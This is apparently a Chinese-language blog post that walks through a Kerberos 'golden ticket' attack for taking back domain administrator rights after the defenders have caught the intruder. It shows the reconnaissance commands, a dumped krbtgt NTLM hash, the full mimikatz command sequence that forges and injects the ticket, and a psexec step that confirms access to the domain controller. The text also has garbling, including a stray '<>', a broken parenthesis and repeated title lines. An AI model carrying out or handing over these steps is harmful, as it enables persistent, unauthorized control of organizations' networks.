域滲透的金之鑰匙

0x00 廢話連篇

最近幾年很少搞內網滲透了，這幾年發展的快啊，看了a牛翻譯的<> ，發現趨勢都是powershell指令碼化了。想當年遇到的域控都是windows 2003的，找朋友要些vbscript指令碼自動化，然後那啥那啥的。現在搞域除了前段時間出的ms14068，還有龍哥翻譯的（不知道還有什麼新方法，心中還有激情，如果想交流的朋友，可以加我聊聊。

0x01 金之鑰匙

我原來發過乙個微博說

這就是我說的金之鑰匙，利用這個的條件是你在原來搞定域控的時候，已經匯出過域使用者的hash，尤其是krbtgt 這個使用者的。但是在你在內網幹其他事情的時候，活兒不細，被人家發現了，你擁有的域管理員許可權掉了，你現在還有乙個普通的域使用者許可權，管理員做加固的時候又忘記修改krbtgt密碼了（很常見），我們還是能重新回來，步驟如下：

要重新拿迴域管理員許可權，首先要先知道域內的管理員有誰

c:\users\hydra>net group "domain admins" /domain

我這裡的實驗環境，通過截圖可以看到域管理員是administrator

我還要知道域sid是啥

c:\users\hydra>whoami /user

我的域sid是

s-1-5-21-3883552807-251258116-2724407435

還有最重要的krbtgt使用者的ntlm雜湊，我原來匯出的是

krbtgt(current-disabled):502:aad3b435b51404eeaad3b435b51404ee:6a8e501fabcf264c70 ef3316c6aab7dc:::

然後該用神器mimikatz出場了，依次執行

mimikatz # kerberos::purge mimikatz # kerberos::golden /admin:administrator /domain:pentstlab.com /sid:s-1-5-21-3883552807-251258116-2724407435 /krbtgt:6a8e501fabcf264c70ef3316c6aab7dc /ticket:administrator.kiribi mimikatz # kerberos::ptt administrator.kiribi mimikatz # kerberos::tgt

到現在，我們又重新擁有域管理員許可權了，可以驗證下

e:\>net use \\win-0dkn2as0t2g\c$
e:\>p***ec.exe \\win-0dkn2as0t2g cmd

0x02 後話閒扯

呃，感覺這個方法比個方便些，文章寫了好久了，一直湊不出更多的字數，就沒發。。嗯。。。懶了。。

域滲透的金之鑰匙

域滲透的金之鑰匙

域滲透的金之鑰匙

域滲透之金票據學習

相關推薦